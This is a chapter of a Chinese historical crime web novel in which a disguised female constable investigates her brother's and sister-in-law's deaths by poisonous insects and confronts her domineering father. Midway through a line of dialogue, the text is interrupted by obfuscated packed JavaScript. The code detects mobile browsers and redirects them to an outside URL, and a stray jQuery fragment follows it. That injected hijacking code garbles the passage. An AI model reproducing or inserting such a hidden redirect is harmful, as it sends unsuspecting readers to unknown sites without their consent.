“荷叶,不好了,不好了,出事了!你大哥大嫂....”
大毛今日特意起了个大早,路上买了些早餐,然而人刚到客栈的门前,就看见慌里忙张、泪流满面的母亲急匆匆的跑出来,停下时,身子还轻轻颤抖着,喘着急气,“荷叶,你大哥大嫂......”
心头涌现不对劲和关于死亡的猜测,毛荷叶搂住母亲的肩身,一边轻声细语的安慰,一边跟着母亲急促的往里面走去,“娘,我在,我在这呢。”
昨日见大哥大嫂时,他们俩并未有任何异样。
踩上阶梯往二楼赶去,毛母身子愈来愈紧绷,拉着大毛的衣袖紧紧不愿放开,“荷叶,有好多的蜘蛛,好多的蜈蚣,还有好多的蝎子,爬在你大哥大嫂的身上......”
话落,毛荷叶脑海中轰隆一下子炸开,这些日子大理寺发生了不少关于此类虫蛇的案件,也就是他们口中的巫蛊之术。
然而在推开房门时,大毛还是吓得杵在了原地,双脚更是如拖了千斤顶般沉重而挪不开脚步。
鼻腔漫入浓重的血腥味,身后是围观百姓嘈杂的声响,好奇心促使他们伸长了脖颈,但那血淋淋的画面让他们下意识嫌弃害怕出声。
若非毛父狠推了她一把,指着她怒骂,“你个不孝女,怎么如今才来,你大哥大嫂的魂魄都离了身,你才知晓赶过来,你安的是何居心?”
毛荷叶被推搡一把,连连踉跄几步,差点跪倒在地。
“我怎么养了你这么个女儿,大哥大嫂千里迢迢赶来京城找你,你倒好,还声称捕快,就连自己的家人都保护不好。”毛父嘴里骂骂咧咧,眼眶也敞开了泪阀,扑簌扑簌往下流出。“都怪你,若非你偷跑来京城,家里人犯得上找你而来京城送命的吗!”
毛母捂住口鼻,气得捶打了一番毛父,“你别说了,又不是女儿害的,是坏人,坏人!”
第一次毛母发脾气打自己,毛父一时间怔住。
二哥牵着大哥大嫂的女儿在一旁,此刻挡在她前面,又捂住侄女双耳、眼见她双眼哭得红肿,默默带离了此处。
门外此刻聚集的众人还是不愿意离去,听着毛捕快被父亲教训,一时间议论声铺天盖地的传来,早有好心人跑去大理寺报案了。
闻声赶来的掌柜站在门外也是不敢进去,慌里慌张拉住了一个下人,催促道,“去,快去通知谢公子。”
尸体上爬满了毛母刚才所说的那些虫子,数不清的蜘蛛、蜈蚣和蝎子,此刻爬在血淋淋的尸体上,安然享受吮吸着,吮吸了个餍足感。
彼时,沈倾倾携着小六过来了,身后顾景淮提溜着箱子和靳刚疏散了人群,驱赶了那些围观的百姓。
“又是巫蛊之术。”沈倾倾看着身子被这些虫子啃食得千疮百孔的尸体,早已经是麻木习惯了。
已经是第三起使人死亡的巫蛊之术了,安慰了大毛,又将毛母毛父带下一楼,大毛不愿离开,而是恪守职责,和靳刚麻溜的将那些蛊虫引进袋子里,沈倾倾和小六紧着去验尸。
顾景淮那边发挥了自己的三寸不烂之舌,很快就安抚了毛父焦灼悲愤的心情,嘴里怒骂大毛的声音被强压在心口,终于谈论到自己儿子身上了,他悲怜不甘,“昨晚上还好好的,老大和他媳妇还跟我们嬉笑聊天来着,说是要在京城做工赚银子,特别是老大媳妇,还伺候她婆母洗脚呢,好好的,左不过一个晚上,就,就这样了......到底是哪个杀千刀的,要这样对我毛家。”
毛母还有些胆战心惊,儿子和儿媳的忽然离开,于她而言打击之大,毛父又接着道,“幸而昨晚上孙女是跟我们过夜,否则我毛家这是要绝后呀!”正因为他打量着让儿媳尽快给他们毛家生下一个儿子,这才让孙女跟他们睡,谁料竟会出此事情。
“我看是不是荷叶之前在抓捕犯人时得罪的那些人,如今寻仇来了,大人,你看这不孝女,该浸猪笼了去!”毛父将那委屈和愤怒的宣泄口对准了女儿。
“伯父,你这倒是不对了........”顾景淮劝说的话语没进毛父的耳中,毛父神游之外,看着坐在不远处瘦弱得跟猫似的孙女,但好歹也是他毛家的后人,无奈又可恨可悲。
尸体被带回大理寺,小六先一步跟上,沈倾倾走过去,停在顾景淮身后,“尸体是昨晚上丑时死的,那些蜘蛛和蝎子、蜈蚣又是有毒的,两具尸体脖颈上都有被蝎子划破的迹象,失血过多加之身上中毒,这才造就了尸体的死亡。”
“丑时?不就和那武馆老板和芬儿姑娘的死亡时间一样?”顾景淮道,神色恼怒,“但他们是中了蛇蛊,如今倒是换了一种虫子。”
沈倾倾点头,看着眼前的大毛,神色平静如一滩死水,她没记错的话,大毛刚刚买下了一座宅子,想来正准备接家人去住。
待他们回了大理寺,大毛并未动身,而是留下安抚家人情绪。
顾景淮见状,给她放了几天假。
出了客栈,靳刚低头跟在身后,神色恍惚,顾景淮叫了他两声,他这才听到,“顾少卿,何事?”
“怎么了?既然担心大毛,那就去看看。”顾景淮话语刚落下,他就点头鞠躬转而离开。
顾景淮和沈倾倾四目相对,心情沉重,这突如其来的案件确实打得众人措手不及,更何况还事关他们的同僚。
——
“毛捕快,我家公子今日有事走不开,我特此过来,发生了此事谁都不愿意见到,但毕竟这客栈还是要经营下去的,这里有一笔钱,算是借给你买房子的。”那掌柜的小声翼翼,也是替谢家公子的传话。
人家家人刚死,客栈就赶人,确实是良心不安,那掌柜的擦了擦额头的汗,但他也只是替人卖命的。
大毛没接,抬头看着眼前的人,猜想是谢渊家人的主意,“不用了,麻烦掌柜的替我传声话,既然不希望我同谢渊有任何的纠葛,那这些银子更不用借。”
这正是谢公子的意思,掌柜的没想到眼前女子也并不迟钝,两三下就继续传话,“毛捕快,谢公子还道了,婚姻讲究门当户对,否则无论如何都不会幸福的,请你见谅,至于搬走,可以给你几天时间准备。”
“好,多谢掌柜的,但不必了,我即刻就搬走。”
靳刚刚上二楼,于转弯处就听到了大毛和掌柜的谈话,胖爷说的没错,依着谢家根本就看不上毛荷叶这样的媳妇,眼下提剑上前,唇角一扬,“掌柜的,也替我传句话给你们公子,为难我们大理寺的捕快不是君子所为,再说了,毛捕快不是没有人喜欢,而是她值得更好的,既然你们给谢三公子安排了亲事,那为何久久不见去曾家提亲?”
此话一出,正是击中了掌柜的哑穴,他家公子正烦恼的就是小弟的亲事,而谢公子公然违抗家中命令,义正严词的拒绝去曾家提亲。
眼见他神色不对劲,大毛抬手示意靳刚沉默,微微朝着掌柜点头,“掌柜的,谢公子让你劝说我,倒不如反省你们自身,既然你们知晓谢渊对我有心意,难道不应该劝说他停止对我的喜欢嘛,怎么找茬到了我身上,我如今以男儿身在大理寺做捕快,难不成在你们眼中我就是如此让你的三弟动了心,那我岂不是比京城里的姑娘都要耀眼。”
“哎,好的好的。”掌柜离去时默然的看了一眼靳刚,轻摇头他的祸从口出,真是多管闲事,若非毛捕快嘴快将事情揽到他身上,谢公子想要同靳捕快算账那是轻而易举的事情。
当晚,大毛领着毛家人进了买的新屋子,靳刚提着行李跟在后头,屋子宽敞,还有一个院子,院子里种了些花草树木,大毛运气好,刚好就买到了一个现房。
虽然院子老旧,青石板上布满了青苔,但好歹也是个一进出的院子,于她而言,已经很好了。
此刻毛父毛母、二哥以及侄女站在院子里,注目良久,这是他们从不敢想的,有一天能住上如此富丽堂皇的院子。
毛父看着女儿的摸样,话语又涌了上去,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462365|162181||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
既然有能力住上那么好的宅院,当初怎么不早些接我们来京城?”
“爹,我说了,这是问别人借银子买的屋子。”大毛实话实说,知晓父母这是拖家带口来的,说什么也是不愿意回去了的,住客栈花销大,她便狠下心来,决定借钱买一座小的宅院。
“借银子,谁会好心借给你一大笔银子,是不是上次那个公子?小妹,那公子叫什么名字?”二哥双眼泛光,指尖轻抬,抚了抚下巴,又撒娇道,“小妹,那公子家住何处?”
大毛轻轻歪头,唇角抽搐,从小二哥就同她坦白,说他和自己一样,要嫁个良人。
起初她并不知晓嫁个良人是何意,随着年龄渐长以及他骚扰同村的男子而被议论纷纷,大毛也就知晓了此事。
如此咄咄逼人的询问,加之那日是谢渊带他们去的客栈,那就只有一个结果,二哥喜欢上了谢渊。
毛父转头怒瞪了二哥一眼,抬手扶额,眼看着被气得笑出了声,忽而又狠拍大腿,一股脑就坐到了地上,“苍天呀,老天爷呀!我毛家是不是受到诅咒呀,这,这都是什么事呀!”
“毛家祖宗,求你睁开双眼看看吧,不要让我毛家绝后呀!”毛父哀嚎,深刻怀疑老二和老三是不是生反了,一个顶着男儿身娇娆造作,学些青楼女子的勾栏做派,另一个顶着女儿身力大无穷,大逆不道逃婚女扮男装当捕快。
其余人安静的看着他撒泼打滚,早已经对毛父怨天尤地、撒泼打滚的毛病习惯了。
待他们情绪平静了下来,大毛缓缓开口,“爹,有些事还是要说清楚的好,二哥,你也知晓亲兄弟明算账这句话的。”
几人频频看向站在阶梯之上的毛荷叶,眼里茫然。
“这房子地契写的是我的名字,住在这里一切都要听我的。”大毛道,嗓音洪亮,语气笃定。
此话一出,即刻就引起了毛父的不满和愤恨,就像是看到了村里面的地主老爷,“你这不孝女,你这是要造反,大逆不道,我要告去大理寺,让他们看看你的真面目。”
“那你索性就去告,我都已经逃婚了,又何必害怕,大不了我转身就走,天下之大,何愁没有我毛荷叶的容身之处?”毛荷叶斥责,微抬下巴,淡漠的神色。
二哥微张着唇角,哑着嗓子,毛母轻捂住唇角,眼里有泪光,另一手牵着她的孙女。
“爹,娘,能有这一处容身之所,不是靠你的大儿子,也不是你的二儿子,而是我,你们最瞧不起,最想嫁出去的女儿。”毛荷叶说此话,脑海自动浮现出曾家、沈家还有周家对女儿疼惜、对女儿当做宝贝似的含在嘴怕化了的样子,不免一阵心酸。
”如今大哥离世了,至于二哥,你们回头瞧一瞧,他整日无所事事,在家中喝你们的,吃你们的,做梦着嫁入世家贵族的摸样,能让你们好好养老嘛?”
二哥被父母投射来的眼光羞愧得红了脸,娇软的嗓音嗫嚅道,“小妹,你怎么能如此说你二哥,再怎么说,我们都有同一个梦想,你只需告诉我那公子的名字和住所,我一定能让父母过上好日子的。”
毛母毛父脸上还挂着泪珠,也禁不住一阵抽搐。
大毛抿唇不语,将写好的规矩册子发下去给他们看。
毛母哀叹,“老大尸首异处,我们倒是住上了这顶好的屋子,还有老大媳妇,嫁来我们家,没怎么过上一天好日子。”
大毛眼眸黯然,没搭话,是嫁入毛家的女子、生在毛家的女子没能过上一天好日子。
蹲在侄女毛杏叶面前,毛荷叶忍不住捏了捏她的脸颊,“杏叶,以后就住在姨母家中,在这里读书识字好不好?”
“一个女娃子读书识字做什么?”毛父道,当初毛荷叶就说要去学堂,老大都没得去,她凭什么去。
“不用听爷爷的话,我给你买书,姨母教你识字读书,好不好,杏叶。”毛荷叶看着她亮晶晶的眼眸。
毛杏叶点头,软糯糯的回道,“好。”